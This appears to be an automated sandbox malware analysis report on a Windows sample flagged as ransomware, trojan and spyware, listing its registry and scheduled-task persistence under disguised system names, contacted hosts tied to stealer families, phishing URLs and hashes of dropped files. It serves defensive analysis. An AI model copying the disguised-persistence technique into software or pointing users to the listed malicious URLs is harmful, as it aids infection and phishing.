Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	108
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QIjBj1l8We.exe renamed because original name is a hash value
Original Sample Name:	48a8ee49651a74a74baca1f7c94729e5.exe
Detection:	MAL
Classification:	mal100.rans.troj.adwa.spyw.expl.evad.winEXE@173/801@7/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Time	Type	Description
03:27:33	Task Scheduler	Run new task: tasklist path: "C:\Windows\ShellComponents\tasklist.exe"
03:27:33	Task Scheduler	Run new task: tasklistt path: "C:\Windows\ShellComponents\tasklist.exe"
03:27:36	Task Scheduler	Run new task: fontdrvhost path: "C:\Recovery\fontdrvhost.exe"
03:27:36	Task Scheduler	Run new task: fontdrvhostf path: "C:\Recovery\fontdrvhost.exe"
03:27:36	Task Scheduler	Run new task: seCeUYjhGIFplo path: "C:\Recovery\seCeUYjhGIFplo.exe"
03:27:36	Task Scheduler	Run new task: seCeUYjhGIFplos path: "C:\Recovery\seCeUYjhGIFplo.exe"
03:27:36	Task Scheduler	Run new task: StartMenuExperienceHost path: "C:\Program Files\Windows Mail\StartMenuExperienceHost.exe"
03:27:36	Task Scheduler	Run new task: StartMenuExperienceHostS path: "C:\Program Files\Windows Mail\StartMenuExperienceHost.exe"
03:27:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run tasklist "C:\Users\Default\Application Data\Microsoft\Internet Explorer\Quick Launch\tasklist.exe"
03:27:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run seCeUYjhGIFplo "C:\Recovery\seCeUYjhGIFplo.exe"
03:27:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run fontdrvhost "C:\Recovery\fontdrvhost.exe"
03:28:03	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run StartMenuExperienceHost "C:\Program Files\Windows Mail\StartMenuExperienceHost.exe"
03:28:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run tasklist "C:\Users\Default\Application Data\Microsoft\Internet Explorer\Quick Launch\tasklist.exe"
03:28:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run seCeUYjhGIFplo "C:\Recovery\seCeUYjhGIFplo.exe"
03:28:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run fontdrvhost "C:\Recovery\fontdrvhost.exe"
03:28:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run StartMenuExperienceHost "C:\Program Files\Windows Mail\StartMenuExperienceHost.exe"
03:28:44	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run tasklist "C:\Users\Default\Application Data\Microsoft\Internet Explorer\Quick Launch\tasklist.exe"
03:28:52	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run seCeUYjhGIFplo "C:\Recovery\seCeUYjhGIFplo.exe"
03:29:00	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run fontdrvhost "C:\Recovery\fontdrvhost.exe"
03:29:08	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run StartMenuExperienceHost "C:\Program Files\Windows Mail\StartMenuExperienceHost.exe"
22:27:20	API Interceptor	166x Sleep call for process: SolaraBootstrapper.exe modified
22:27:23	API Interceptor	1x Sleep call for process: WMIC.exe modified
22:27:24	API Interceptor	127x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	SecuriteInfo.com.Win64.MalwareX-gen.18499.25362.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	ip-api.com/json
	Vista previa de consulta de compra___________pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	6tGWMkdYv4.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	oxyinstaller.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	Ulg Bypas.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	X Image logger beta V5.2.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	35,163.07.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	QUOTATION PT INDONESIA.pdf.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Transaction Notification.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	2023081922.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
149.154.167.220	http://meta-bussiness-creative-651056496516.vercel.app/	Get hash	malicious	Unknown	Browse
	6tGWMkdYv4.exe	Get hash	malicious	Blank Grabber	Browse
	rRFQ_TSL104_20221024_pdf.exe	Get hash	malicious	AgentTesla	Browse
	win6.exe	Get hash	malicious	Python Stealer, Discord Token Stealer	Browse
	win5.exe	Get hash	malicious	Python Stealer, Discord Token Stealer	Browse
	uKzQIWsGdo.exe	Get hash	malicious	Nightingale Stealer	Browse
	KJuctcVQbe.exe	Get hash	malicious	Nightingale Stealer	Browse
	CMoW3VhY2s.exe	Get hash	malicious	Nightingale Stealer	Browse
	Kf1Rr6jArf.exe	Get hash	malicious	Phemedrone Stealer	Browse
	file.exe	Get hash	malicious	Unknown	Browse
185.199.109.133	http://memekombat-in.web.app/app/	Get hash	malicious	Unknown	Browse
	http://uniswap-v3.org-referral-program.eu/	Get hash	malicious	Unknown	Browse
	Worthingtonsteel Statement.html	Get hash	malicious	HTMLPhisher	Browse
	6tGWMkdYv4.exe	Get hash	malicious	Blank Grabber	Browse
	setup.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse
	Jr7B1jZMaT.exe	Get hash	malicious	NovaSentinel	Browse
	https://github.com/Sxady/script/blob/main/corner.sh	Get hash	malicious	Xmrig	Browse
	https://metacase-f-p43w.vercel.app/	Get hash	malicious	Unknown	Browse
	https://metacase-f-lwrb.vercel.app/	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	http://naughtygroupgirls.pages.dev/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://meta-bussiness-creative-651056496516.vercel.app/	Get hash	malicious	Unknown	Browse	149.154.167.220
	6tGWMkdYv4.exe	Get hash	malicious	Blank Grabber	Browse	149.154.167.220
	setup.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	149.154.167.99
	setup.exe	Get hash	malicious	RedLine	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	1kBeqS7E3z.exe	Get hash	malicious	LummaC, RisePro Stealer, Vidar	Browse	149.154.167.99
	auTs24fNru.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://telegradm.xyz/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://telegradm.vip/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
FASTLYUS	https://www.ultiqahotelsandresorts.com.au	Get hash	malicious	Unknown	Browse	151.101.194.83
	https://VYvlZ.eadepali.com/3bjK/#Lhttps://digify.com/abcd.ef.com	Get hash	malicious	HTMLPhisher	Browse	185.199.108.133
	https://onpagvus.store	Get hash	malicious	HTMLPhisher	Browse	151.101.194.208
	https://wjadjeradd.blogspot.com/	Get hash	malicious	Unknown	Browse	151.101.2.208
	http://naughtygroupgirls.pages.dev/	Get hash	malicious	Unknown	Browse	151.101.65.229
	http://memekombat-in.web.app/app/	Get hash	malicious	Unknown	Browse	151.101.2.133
	http://aktavasi-paylater-dana.update-informasi-2024.my.id/	Get hash	malicious	Unknown	Browse	151.101.1.229
	http://clickvideohothotwww.blogspot.sn/	Get hash	malicious	Unknown	Browse	151.101.194.137
	http://theabhiichakraborty.github.io/netflix-clone	Get hash	malicious	Unknown	Browse	185.199.108.153
	http://excderpb0xscom.glitch.me/	Get hash	malicious	Unknown	Browse	151.101.194.137
FASTLYUS	https://www.ultiqahotelsandresorts.com.au	Get hash	malicious	Unknown	Browse	151.101.194.83
	https://VYvlZ.eadepali.com/3bjK/#Lhttps://digify.com/abcd.ef.com	Get hash	malicious	HTMLPhisher	Browse	185.199.108.133
	https://onpagvus.store	Get hash	malicious	HTMLPhisher	Browse	151.101.194.208
	https://wjadjeradd.blogspot.com/	Get hash	malicious	Unknown	Browse	151.101.2.208
	http://naughtygroupgirls.pages.dev/	Get hash	malicious	Unknown	Browse	151.101.65.229
	http://memekombat-in.web.app/app/	Get hash	malicious	Unknown	Browse	151.101.2.133
	http://aktavasi-paylater-dana.update-informasi-2024.my.id/	Get hash	malicious	Unknown	Browse	151.101.1.229
	http://clickvideohothotwww.blogspot.sn/	Get hash	malicious	Unknown	Browse	151.101.194.137
	http://theabhiichakraborty.github.io/netflix-clone	Get hash	malicious	Unknown	Browse	185.199.108.153
	http://excderpb0xscom.glitch.me/	Get hash	malicious	Unknown	Browse	151.101.194.137
TUT-ASUS	SecuriteInfo.com.Win64.MalwareX-gen.18499.25362.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	208.95.112.1
	Vista previa de consulta de compra___________pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	6tGWMkdYv4.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	oxyinstaller.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	Ulg Bypas.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	X Image logger beta V5.2.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	setup.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	208.95.112.1
	35,163.07.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	QUOTATION PT INDONESIA.pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Transaction Notification.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
GITHUBUS	https://VYvlZ.eadepali.com/3bjK/#Lhttps://digify.com/abcd.ef.com	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	http://memekombat-in.web.app/app/	Get hash	malicious	Unknown	Browse	140.82.114.22
	http://theabhiichakraborty.github.io/netflix-clone	Get hash	malicious	Unknown	Browse	140.82.112.22
	https://i1h.nechole.ru/9Ciz/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	https://qlwcz.semoxqj.ru/jEmXeUJt/#X	Get hash	malicious	Unknown	Browse	140.82.121.4
	Worthingtonsteel Statement.html	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	6tGWMkdYv4.exe	Get hash	malicious	Blank Grabber	Browse	140.82.121.3
	https://github.com/psychopy/psychopy/releases/download/2024.1.5/StandalonePsychoPy-2024.1.5-win64.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	invoice.exe	Get hash	malicious	MinerDownloader, RedLine, Xmrig	Browse	140.82.121.3

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Win32.PWSX-gen.26878.2134.exe	Get hash	malicious	AgentTesla	Browse	140.82.121.3 185.199.109.133 185.199.111.133
	http://hello.dashixiong875.workers.dev/	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.109.133 185.199.111.133
	http://memekombat-in.web.app/app/	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.109.133 185.199.111.133
	http://ybnwivpxga0b.pages.dev/	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.109.133 185.199.111.133
	http://ca11he1pservirums11.pages.dev/	Get hash	malicious	TechSupportScam	Browse	140.82.121.3 185.199.109.133 185.199.111.133
	https://lbg-calcs.vercel.app/	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.109.133 185.199.111.133
	http://theabhiichakraborty.github.io/netflix-clone	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.109.133 185.199.111.133
	http://krrkenlogin.mystrikingly.com/	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.109.133 185.199.111.133
	http://my-site-107705-10527.square.site/	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.109.133 185.199.111.133
	http://metaumskelogin.gitbook.io/	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.109.133 185.199.111.133

Process:	C:\agentInto\fontsessionruntime.exe
File Type:	ASCII text, with very long lines (706), with no line terminators
Category:	dropped
Size (bytes):	706
Entropy (8bit):	5.8795280607748515
Encrypted:	false
SSDEEP:	12:kj572ouO2IyYQP/7AsAYY364NK4n5LJhWbnNQOJeLZaSEMlBMW0dC03:kj5CSdQP/DYq4RrOr4yd/
MD5:	7CF894AEC1989FB95992D349D43506C3
SHA1:	D5E3CA1C45F85911115F7F8889894085F8A1A5A1
SHA-256:	BB5A2AAF0D2561814B708D39D8BABF86EC85832648930011CEA23C781F35B86A
SHA-512:	E35614CF8D28C7488C67AF1548E14932C62E32BD79694537CA5F05CF2FD35B69BDC06534CFD16E875FD0184F7FC7760B2929681C0CE969E2E016192EE20A130E
Malicious:	false
Preview:	DLzEts0IzoOHUfIpY9bQHxu0zzFk0tAq9tdt2yI8hf4nEeyJC8q0UAkPb9P3mQSFohIlCZxj1dsl3GvUA5h2DJW8JNS2jOVRNz9gWNHnLG91S8WUN53qsaBfLJbyH4AmHaYEHP8xy4q6JfqL17onVojxxdUMvTgQGWt1jSN87G2xtEWqdQ7JPWRc1lQn5vBeYZ0wvzliuqqPwvEtHntfWWBtFQ98BjDLEXZTNj4ooYZipCqFghgRCgIBYHrfzmhKnfKYWufhsE077cDCk3bdDvJiOX4G2ZyC1O4K1RtvC8i7qLE5Do55LDH1VmK90YpTQyGti2KSKpbENL1DT9CNe20xGDzPHu5nSOr2EUXLdmvfmDoKuGp0WczX7TneD5Lauxv8d988m1t1HVLDZoeAEFR0ZU4vr2HibVvyRpruHrOes7PlHjFYbKVog5jIENRttLZvkXwu7t3X0xHcETnHxsHR9GRVGip4ZeuhhdBuxVbrR7xtxGDvjJ6BDIwdFanZD87VCk4lS3TbRZABSii9e4UPitdZrhpXrCnSAbqNMccp0euoIuLg1o4JnrxTGf3vO5tOwsB02VwBboZD9zR7VIgDHeoSoWGrirb4uf2ZsUng12r8RtUQN5ZFZqHRDtMfOFcuNfSe71PBe9LOxpA4CzdmSWeEXkW9IISva7vwb0TWqYkae3eYsRdYlzb1BOGWfQ

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

Process:	C:\Users\user\AppData\Local\Temp\x4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11960320
Entropy (8bit):	7.999234742000107
Encrypted:	true
SSDEEP:	196608:uHJv7g8MaX2ftjKAn9EVQODmgPaav5reiYS49zJu7pioQZBMPhk0u+Gnc3f5fM1R:YB7gIEj76VlD/is5rW79F8iFfcv5k1SQ
MD5:	108590051FAB4871AF861B8B12AD1E96
SHA1:	172D10992C078145E1439E85869DCEE89E95819B
SHA-256:	7D11195746ED7866DCE67EBE82DD5C9BDC6F3251528A9D40C22BE61612F71D1A
SHA-512:	27863D3991E490D69F199D8BF3EA521BEE1CFE18336FCF64960C5FA16CD4EC7FC7E4A74F4795B9FFEED194326F6F28DC800569B0E6F7D2BB8647D64F37C2D544
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.....................n............... ....@.......................................................................... ..P.......@a........................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...@a.......b..................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4b6, 9 symbols, created Fri Jun 21 03:46:02 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	4.121727650374412
Encrypted:	false
SSDEEP:	24:HK2jq9s+fuXoUDfHWwKefNpihNII+ycuZhNVakSzPNnqS+d:edSVKCNgu1ulVa35qSe
MD5:	9B1F636689514DFA7848183E06A99641
SHA1:	FE3B6A866D054262EF714B187D4F963241F61ABA
SHA-256:	31A1B16346BBB286266A3CA71AA5369A393171C7F4D3409B4DFCBF0C68C099B5
SHA-512:	656E370304E600ED573E2C9C232C84C987CC0341B5A52BCBC5A522DC8E5843DFA74882DD8D42E7747012BBE14AF33DBE6E61CEEE82B3DEFF4B538DD77188BEB9
Malicious:	false
Preview:	L...z.tf.............debug$S........x...................@..B.rsrc$01........X.......\...........@..@.rsrc$02........P...f...............@..@........T....c:\Users\user\AppData\Local\Temp\gkfhm5n3\CSCE3FF6834DD6C4DE392BB63A4482876F5.TMP...............ge....Jx.................4.......C:\Users\user\AppData\Local\Temp\RESDAF6.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Local\Temp\...........exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...g.k.f.h.m.5.n.3...d.l.l.....(.....L.e.g.a.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QIjBj1l8We.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Adobe\Acrobat DC\Resource\Font\669269bdeab909

C:\Program Files\Adobe\Acrobat DC\Resource\Font\seCeUYjhGIFplo.exe

C:\Program Files\Windows Mail\55b276f4edf653

C:\Program Files\Windows Mail\StartMenuExperienceHost.exe

C:\Recovery\5b884080fd4f94

C:\Recovery\669269bdeab909

C:\Recovery\fontdrvhost.exe

C:\Recovery\seCeUYjhGIFplo.exe

C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\d62086b577a668

C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\tasklist.exe

Windows Analysis Report
QIjBj1l8We.exe

Process:	C:\Users\user\AppData\Local\Temp\x11.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11992576
Entropy (8bit):	7.999939221942735
Encrypted:	true
SSDEEP:	196608:N0J9PCV0pdS3DozJzZwlNKvXezMzsCfjUQK/CUHSdg41q9M1g7XMRbRSBfE3va:2J9PEEyzKveI5fbKBHMFzm7XAbEBfx
MD5:	B93FC536DF3C66E783FCBB9071DB7545
SHA1:	CE29BC506242C2389366F67EDB3B36577D01F778
SHA-256:	9267614F67E94FEEEAE12C00F294E8AF4587CF74CE817D179098D7E17EF24874
SHA-512:	4B4A87624EB5F23A13AC55ACC874E9444C41B54A772E3D89A5A383A476D09DB6DCDAC69BC914645FE8C3102EA050A4DBEDE65F379C4F51AA1FDEB01E8194B1E6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.................................... ....@......................................................................... ..P................................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc.............................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Users\user\AppData\Local\Temp\x12.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12000768
Entropy (8bit):	7.999934840895233
Encrypted:	true
SSDEEP:	196608:gcoxkLeUoO9/jmTUkXBnG9u21tvj0brnXiT8QPLaUQrsl2az0Desq3UOF2iQsmR3:rjLQO/64kBUu2vvjU2Tr+UfIaz0DgV2P
MD5:	34CB7FCA8CB671327865D0BCF6DE72BC
SHA1:	F0B1CEDACE31B386C893530E6DCE75C2ECFEF083
SHA-256:	A6A27D9BA682A107558CDB16FCD50EBBE3D112C8DAB38E96D5926C522781CC81
SHA-512:	A09A2FD355E0E7F7A7BF0C25FEE3300D7E695F1871514181AEF6CB7C5D9F085F6A3003CFEA423AD3C79D1B463B2DD3E323C84AE6D8E352483270EE20E520D373
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q..................................... ....@.......................................................................... ..P.................................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...............................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Users\user\Desktop\QIjBj1l8We.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12007936
Entropy (8bit):	7.999943172026908
Encrypted:	true
SSDEEP:	196608:8plX8I/cr+ycpynZM1vx2s2tq5tbAW1GD58IRuj+lnG/eK8J8NrMbUxZT9jKjUNK:8oI/cr+FgnZ0xLbAW1TjAG/38++gxHUr
MD5:	A236344BCC36451B5760C4BF40DF3CDA
SHA1:	201737C41D87013535C5407F264F5D8E38F3351A
SHA-256:	E5E02B828D06986C27C50CF3398EE4E9FC56FCDD017684AB27388EBD1F4FD265
SHA-512:	EE1B7DAF72FD2A38E1C7F2CE8557CE164A1818485EFD49506BBBDCCCE33EAB702008AABB5721A13B9A14282BE92A8A0B29CECCC157AEBB591AFA10D5EE7CCFD6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.....................(............... ....@..........................0............................................... ..P.......X............................................................................ ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...X...........................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Users\user\AppData\Local\Temp\x5.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11947008
Entropy (8bit):	7.999880899586135
Encrypted:	true
SSDEEP:	196608:A/PxCnVXz24T43twVgT8qu2qB78ZJoDZXttgxj+7DKlBDrmLjPbmH2W9S6L6388v:qSVXlgTapB78ZaZXz3qDEWPzWvd+a
MD5:	609A00E116060457295CE9293E6E3B3E
SHA1:	E99114D54D914B0D543E62FF54807D83551A16B6
SHA-256:	5CAC320A19828D4E3E89428AD877951BABAA6739A337FF4C8C2F3B9828D85358
SHA-512:	1C1F117E06CA09DAB65626BCA4CAB8CCF4B3073DCA564A6CC2DC9E82A752F936150FF75E077DB0C906D1248F9CA9BB94D1AF8FED616D8E013C548B25033F8FCC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.....................:............... ....@..........................@............................................... ..P.................................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...............................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Users\user\AppData\Local\Temp\x6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11955200
Entropy (8bit):	7.999878211469323
Encrypted:	true
SSDEEP:	196608:yOqLCiYuaGGagemuoPKopkidBTq5TIX77B7MN8xZalYFA9weGRYeDfWXUR5:yOqdaGFgQ/FcBscl7IAZFFA9qRYeDq+5
MD5:	8DBEE0CB9B7550432DF6BEB4D9EA5CF0
SHA1:	592502D95F326D76387D85FB48036179A7D15D38
SHA-256:	D7FFD20027F5B1B9948E76FA157023C22A86425E026A377684A3947ABDB61135
SHA-512:	20422414B413C33B1DB119488A71322B449DB756ECEE73C3825FEE991FD468A0E09C6AE4B60FE2FD568B0590B77DF43937EF8E35D752FF931482519D9FB0C183
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.....................Z............... ....@..........................`............................................... ..P........M........................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc....M.......N..................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Users\user\AppData\Local\Temp\x7.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11961856
Entropy (8bit):	7.999911640103391
Encrypted:	true
SSDEEP:	196608:86kzCVCuxvPm0wFeQiM342skccPtERX15g94uMkzPpyZaIKpyYcMNhHV7nA0qlru:L5CuxvOQgfskccCRlFuMk1yIIpL437A0
MD5:	61F5D17C10DE6541139134FB7058F88E
SHA1:	A6DF4A45AAB40753023F2FDD7EFD32AE9A226FF5
SHA-256:	914287AD713DF86EA9FED9F86CD963F88EB22DE143D8892B7EF055FD45DBA567
SHA-512:	28B66E1CB8334E806139C8B30EC3100010ABF277D9D2E5EECF99AC837FB384CA5BF76DE2549BF4FAF92614CFAA6A861ABBE75055248242D9DC392C319375A900
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.....................t............... ....@.......................................................................... ..P........f........................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc....f.......h..................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Users\user\AppData\Local\Temp\x8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11970048
Entropy (8bit):	7.99991923016417
Encrypted:	true
SSDEEP:	196608:W/q1EvoJ/CuntkefzRZWvIXFWNy8LvIXMhVdw4YpWD0xYY7UarqWyIYjF2kTgDlb:C6Evy/VtkeNZWQXQcJQZYI07r2IYjjgF
MD5:	0E9FEE8861C55C0EBADC5F678FBD8A9A
SHA1:	C760E5D24B60902F566529AF6DDAF2B90E319046
SHA-256:	866D6644CCCE8D86D9526EF959EE5DDD9414E35750A1A10968035063FFA694D8
SHA-512:	F3461F6E0C0004A0B56578EFD83D7FD3F79EC47AD8E0848AE14D21BB585ECBFEC9770296382F63054395E636BA911B9E4BCC3F88C0EB9B73E542AD1F5D0B869E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q..................................... ....@.......................................................................... ..P.................................................................................... ...............................text...&........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...............................@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Users\user\AppData\Local\Temp\x9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11977216
Entropy (8bit):	7.999915092992493
Encrypted:	true
SSDEEP:	196608:WAddhK9aYTXJQYrP2C/3DBX+PMruZ8amDQ/yYLCI/3nzI/jgpymfJZHKEWy8:WAddoO4PBBOPK3aOQ/7e29ymfJZHKA8
MD5:	DD97AAB085B140B715DD1A52038E3C70
SHA1:	21A8CBFFA7C31A3AE0493B8567B528FABA5C4FE9
SHA-256:	42BE65AD4DF6BF83CE6A30C1A159921463571C32FAF372AF53A5EDAB641EA7AA
SHA-512:	7AD65E44D706E304C493895EEC33A538937DE13A13B0AF7B13BE95BE0615177D78E1EB3B8CBD06E5612DC7BCF522D2C9ABD5C6AB4EFACF20052BDF7E09BC4BA2
Malicious:	true
